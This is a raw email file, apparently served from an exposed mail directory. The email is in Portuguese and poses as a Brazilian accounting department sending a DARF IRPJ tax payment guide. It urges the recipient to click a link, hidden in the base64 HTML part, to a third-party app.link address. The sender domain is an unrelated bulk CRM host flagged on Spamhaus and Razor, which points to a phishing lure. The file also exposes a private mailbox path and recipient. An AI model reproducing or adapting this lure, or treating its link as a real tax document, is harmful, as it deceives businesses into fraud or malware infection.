| Current Path : /home2/noxxprod/mail/new/ |
| Current File : //home2/noxxprod/mail/new/1775489185.M239938P1670105.host.sdserver127.com.br,S=6305,W=6442 |
Return-Path: <beatrizmarques@m32.herocrm.com.br>
Delivered-To: noxxprod@host.sdserver127.com.br
Received: from host.sdserver127.com.br
by host.sdserver127.com.br with LMTP
id uDaWDKHQ02nZexkAk55skA
(envelope-from <beatrizmarques@m32.herocrm.com.br>)
for <noxxprod@host.sdserver127.com.br>; Mon, 06 Apr 2026 12:26:25 -0300
Return-path: <beatrizmarques@m32.herocrm.com.br>
Envelope-to: administrativo@noxxproducoes.com.br
Delivery-date: Mon, 06 Apr 2026 12:26:25 -0300
Received: from m32.herocrm.com.br ([216.9.225.52]:34754)
by host.sdserver127.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <beatrizmarques@m32.herocrm.com.br>)
id 1w9lqO-0070Ch-1S
for administrativo@noxxproducoes.com.br;
Mon, 06 Apr 2026 12:26:25 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=m32.herocrm.com.br;
s=m32; t=1775489143;
bh=9Tzzji5KX326J4gjDf4kxxbDdPIVtex95NNwellVyQY=;
h=From:To:Subject:Date;
b=hohd8EuWDEm4/Um/vMl+Ydfiell3dehtTQY++Jmj6WesaQpm/KepC+dfkkLsWkfxQ
q05Q9OhOmzkeJzGv8UdLHN/7gWK81p32SAZEnZMiU7wP2BYD7R6nuy9W1C/r0lnYMb
DOgAX6LWDGnq8K4C0X2XDh2KL6Nl4auRxfIUYmc/gvbZy+KC/8QN5PWuCbqr+IgINJ
kv+GhVmYl4B90oXT3MGOPU/ijBycycflRUo+mTNL4ST79XdtVF7XLlL9MZx9TZQFX8
Ijk+rqTyZbG3IMQpiTsNEFnLNPoETLHZpp6W+2rMGCc5F6vhpyZAhCqT5X9WgM9VUP
JC0A5fyye3y0g==
From: =?UTF-8?B?Q2FldGFubyBUb2xlZG8gQ29udMOhYmls?= <beatrizmarques@m32.herocrm.com.br>
To: administrativo@noxxproducoes.com.br
Subject: =?UTF-8?B?R3VpYSBQYXJhIFBhZ2FtZW50byBEQVJGIC0gSVJQSiBBw6fDo28gQW51bGF0w7NyaWEgMjIyOA==?=
Date: Mon, 06 Apr 2026 12:25:43 -0300
Message-ID: <wskklqolufxz.1775489143076457800@m32.herocrm.com.br>
MIME-Version: 1.0
Content-Language: pt-BR
Content-Type: multipart/alternative; boundary="----=_xfzhgawnxrgbskwe_1775489143076457800"
X-Spam-Status: No, score=2.1
X-Spam-Score: 21
X-Spam-Bar: ++
X-Ham-Report: Spam detection software, running on the system "host.sdserver127.com.br",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Prezado(a),administrativo@noxxproducoes.com.br. Segue abaixo
documento do departamento contábil: Vencimento: 10/04/2026
Content analysis details: (2.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: app.link]
0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL
blocklist
[URIs: m32.herocrm.com.br]
0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS
blocklist
[URIs: m32.herocrm.com.br]
-3.0 RCVD_IN_VALIDITY_CERTIFIED RBL: Sender in Validity Certification
- Contact certification@validity.com
[Excessive Number of Queries | <https://knowledge.validity.com/hc/en-us/articles/20961730681243>]
-2.0 RCVD_IN_VALIDITY_SAFE RBL: Sender in Validity Safe - Contact
certification@validity.com
1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,
https://senderscore.org/blocklistlookup/
[216.9.225.52 listed in bl.score.senderscore.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
-0.0 T_SCC_BODY_TEXT_LINE No description available.
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
1.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
X-Spam-Flag: NO
------=_xfzhgawnxrgbskwe_1775489143076457800
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Prezado(a),administrativo@noxxproducoes.com.br.
Segue abaixo documento do departamento cont=C3=A1bil:
Vencimento:
10/04/2026
Obs:
Clique no link para acessar o arquivo.
Guia:
DARF - IRPJ MENSAL 4362 «Clique aqui para acessar»
=E2=80=94 Departamento Cont=C3=A1bil
------=_xfzhgawnxrgbskwe_1775489143076457800
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCjwvaGVhZD4NCjxib2R5IHN0
eWxlPSJmb250LWZhbWlseTpDYWxpYnJpLEFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7
Y29sb3I6IzMzMzsiPg0KDQo8cD5QcmV6YWRvKGEpLGFkbWluaXN0cmF0aXZvQG5veHhwcm9kdWNv
ZXMuY29tLmJyLjwvcD4NCg0KPHA+U2VndWUgYWJhaXhvIGRvY3VtZW50byBkbyBkZXBhcnRhbWVu
dG8gPGI+Y29udMOhYmlsPC9iPjo8L3A+DQoNCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgY2VsbHNw
YWNpbmc9IjAiIGJvcmRlcj0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4NCiAgPHRyPg0KICAg
IDx0ZD48Yj5WZW5jaW1lbnRvOjwvYj48L3RkPg0KICAgIDx0ZD4xMC8wNC8yMDI2PC90ZD4NCiAg
PC90cj4NCiAgPHRyPg0KICAgIDx0ZD48Yj5PYnM6PC9iPjwvdGQ+DQogICAgPHRkIHN0eWxlPSJj
b2xvcjojNTU1OyI+Q2xpcXVlIG5vIGxpbmsgcGFyYSBhY2Vzc2FyIG8gYXJxdWl2by48L3RkPg0K
ICA8L3RyPg0KPC90YWJsZT4NCg0KPHA+DQogIDxiPkd1aWE6PC9iPiZuYnNwOw0KICA8YSBocmVm
PSJodHRwczovL2V2ZW50ZXZlbnQuYXBwLmxpbmsvREFRd09hdXY3MWIiIHRhcmdldD0iX2JsYW5r
IiBzdHlsZT0iY29sb3I6IzA1NjNDMTsiPkRBUkYgLSBJUlBKIE1FTlNBTCA0MzYyICZsYXF1bztD
bGlxdWUgYXF1aSBwYXJhIGFjZXNzYXImcmFxdW87PC9hPg0KPC9wPg0KDQo8YnI+DQo8cCBzdHls
ZT0iZm9udC1zaXplOjEycHg7Y29sb3I6Izg4ODsiPuKAlCBEZXBhcnRhbWVudG8gQ29udMOhYmls
PC9wPg0KDQo8L2JvZHk+DQo8L2h0bWw+
------=_xfzhgawnxrgbskwe_1775489143076457800--